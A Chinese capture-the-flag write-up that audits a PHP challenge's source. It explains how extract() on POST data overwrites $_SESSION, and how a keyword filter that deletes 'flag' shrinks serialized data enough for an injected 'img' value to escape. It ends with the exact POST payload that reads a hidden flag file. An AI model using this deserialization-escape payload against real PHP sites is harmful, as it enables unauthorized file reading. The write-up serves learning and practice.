这是一道字符串减少的题目值得一做
进来就是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } ?>
|
代码审计注意到有不熟悉的玩意$_SESSION
和extract()
$_SESSION
变量
作用是访客与整个网站交互过程中一直存在的公有变量
extract()
函数
作用是从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
更具体的用法参考https://www.runoob.com/php/func-array-extract.html
1 2 3 4 5 6 7
| <?php $a = "Original"; $my_array = array("a" => "Cat", "b" => "Dog", "c" => "Horse"); extract($my_array, EXTR_PREFIX_SAME, "dup"); echo "$a = $a; $b = $b; $c = $c; $dup_a = $dup_a"; ?> 结果:$a = Original; $b = Dog; $c = Horse; $dup_a = Cat
|
在这道题目里这个函数接收了post传输的数据
如果你传入的是** _SESSION[flag]**
那么他就会覆盖之前的**$_SESSION[“user”]和$_SESSION[“function”]**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__); error_reporting(0); $_SESSION["a"] = 'aa'; $_SESSION["b"] = 'bb'; var_dump($_SESSION); extract($_POST); echo "\n"; var_dump($_SESSION); ?> post: _SESSION[cc]=1 结果: array(2) { ["a"]=> string(2) "aa" ["b"]=> string(2) "bb" } array(1) { ["cc"]=> string(1) "1" }
|
可以看到post传输的参数里的cc被自动加上了双引号,这里是一个小细节
步骤
随便给$_SESSION变量赋值看看怎么构造
1 2 3 4 5 6 7 8 9 10
| $_SESSION["user"] = "woai"; $_SESSION["function"] = "yuanshen"; if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else { $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } echo serialize($_SESSION); 运行结果: a:3:{s:4:"user";s:4:"woai";s:8:"function";s:8:"yuanshen";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
分析一下发现只有user和function的值是可控的,所以我们需要利用可控的值来使得字符串逃逸出来
1 2
| $_SESSION["user"] = 'flagflagflagflagflagflag'; $_SESSION["function"] ='1";s:8:"function";s:1:"s";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
|
post传参(_SESSION前面没$是因为加上之后会就导致变量名字变成了$$_SESSION):
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:1:"s";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
后面查看源代码提示flag在flag in /d0g3_fllllllag
然后把传参的img的值改一下就好了